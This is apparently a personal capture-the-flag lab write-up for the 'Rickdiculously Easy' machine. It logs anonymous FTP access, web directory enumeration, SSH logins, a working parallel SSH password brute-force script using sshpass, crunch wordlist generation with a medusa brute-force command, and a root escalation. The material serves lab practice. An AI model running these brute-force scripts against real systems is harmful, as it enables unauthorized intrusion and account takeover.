Rickdiculously Easy靶场记录

$ ftp 192.168.56.101
Connected to 192.168.56.101.
220 (vsFTPd 3.0.3)
Name (192.168.56.101:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||35098|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              42 Aug 22  2017 FLAG.txt
drwxr-xr-x    2 0        0               6 Feb 12  2017 pub
226 Directory send OK.
ftp> get FLAG.txt
local: FLAG.txt remote: FLAG.txt
229 Entering Extended Passive Mode (|||56985|)
150 Opening BINARY mode data connection for FLAG.txt (42 bytes).
100% |***************************************************************************************************************|    42       16.03 KiB/s    00:00 ETA
226 Transfer complete.
42 bytes received in 00:00 (6.61 KiB/s)

$ cat FLAG.txt
FLAG{Whoa this is unexpected} - 10 Points

$ dirsearch -u 192.168.56.101                    
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_192.168.56.101/_23-12-15_22-11-59.txt

Target: http://192.168.56.101/

[22:11:59] Starting:                                                                                                                                                                                                                       
[22:12:03] 403 -  220B  - /.ht_wsr.txt                                      
[22:12:03] 403 -  223B  - /.htaccess.bak1                                   
[22:12:03] 403 -  223B  - /.htaccess.orig                                   
[22:12:03] 403 -  223B  - /.htaccess.save                                   
[22:12:03] 403 -  225B  - /.htaccess.sample
[22:12:03] 403 -  224B  - /.htaccess_extra                                  
[22:12:03] 403 -  223B  - /.htaccess_orig                                   
[22:12:03] 403 -  221B  - /.htaccess_sc                                     
[22:12:03] 403 -  221B  - /.htaccessOLD                                     
[22:12:03] 403 -  222B  - /.htaccessOLD2
[22:12:03] 403 -  213B  - /.htm                                             
[22:12:03] 403 -  221B  - /.htaccessBAK
[22:12:03] 403 -  223B  - /.htpasswd_test                                   
[22:12:03] 403 -  219B  - /.htpasswds                                       
[22:12:03] 403 -  214B  - /.html                                            
[22:12:03] 403 -  220B  - /.httr-oauth                                      
[22:12:33] 403 -  217B  - /cgi-bin/                                         
[22:13:09] 301 -  240B  - /passwords  ->  http://192.168.56.101/passwords/  
[22:13:09] 200 -    1KB - /passwords/                                       
[22:13:20] 200 -  126B  - /robots.txt                                       
                                                                             
Task Completed    

ssh Summer@192.168.56.101 -p 22222
Summer@192.168.56.101's password:
client_global_hostkeys_private_confirm: server gave bad signature for RSA key 0
Last login: Thu Dec 14 17:28:05 2023
[Summer@localhost ~]$ ls
FLAG.txt
[Summer@localhost ~]$ cat FLAG.txt
                         _
                        | \
                        | |
                        | |
   |\                   | |
  /, ~\                / /
 X     `-.....-------./ /
  ~-. ~  ~              |
     \             /    |
      \  /_     ___\   /
      | /\ ~~~~~   \  |
      | | \        || |
      | |\ \       || )
     (_/ (_/      ((_/

[Summer@localhost ~]$ more FLAG.txt
FLAG{Get off the high road Summer!} - 10 Point

#!/bin/bash

# 设置一个标志文件来表示找到密码
flag_file="password_found.flag"

# 清理旗标文件（如果存在）
rm -f $flag_file

# 初始化计数器
counter=0
max_processes=10

# 生成所有可能的密码并在后台尝试它们
for uppercase in {A..Z}; do
  for digit in {0..9}; do
    for band in {"The","Flesh","Curtains"}; do
      password="${uppercase}${digit}${band}" # 组合密码
      echo "尝试密码: ${password}"

      # 在后台尝试登录，并执行一个简单命令
      (
        if sshpass -p "${password}" ssh -p 22222 -o StrictHostKeyChecking=no RickSanchez@192.168.56.101 "echo 'Login Successful'" >/dev/null 2>&1; then
          echo "找到密码: ${password}"
          touch $flag_file
          exit 0
        fi
      ) &

      let counter+=1

      # 检查是否找到密码，如果找到则退出循环
      if [ -f $flag_file ]; then
        break 3
      fi

      # 如果达到最大进程数，等待任意一个进程结束
      if (( counter >= max_processes )); then
        wait -n
        let counter-=1
      fi
    done
  done
done

wait # 等待所有后台进程完成

# 如果没有找到密码
if [ ! -f $flag_file ]; then
  echo "未找到密码"
else
  rm -f $flag_file # 清理旗标文件
fi

$ sshpass -p "P7Curtains" ssh -p 22222 -o StrictHostKeyChecking=no RickSanchez@192.168.56.101
Last failed login: Thu Dec 14 20:54:15 AEDT 2023 from 192.168.56.102 on ssh:notty
There were 186 failed login attempts since the last successful login.
Last login: Thu Dec 14 20:49:14 2023 from 192.168.56.102
[RickSanchez@localhost ~]$ sudo su
[sudo] password for RickSanchez:
[root@localhost RickSanchez]# cd ~
[root@localhost ~]# ls
anaconda-ks.cfg  FLAG.txt
[root@localhost ~]# more FLAG.txt
FLAG: {Ionic Defibrillator} - 30 points

crunch 5 5 -t ,%The > dict.txt
crunch 7 7 -t ,%Flesh >> dict.txt
crunch 10 10 -t ,%Curtains >> dict.txt

medusa -M ssh -h 192.168.56.101 -n 22222 -u RickSanchez -P ./dict.txt -f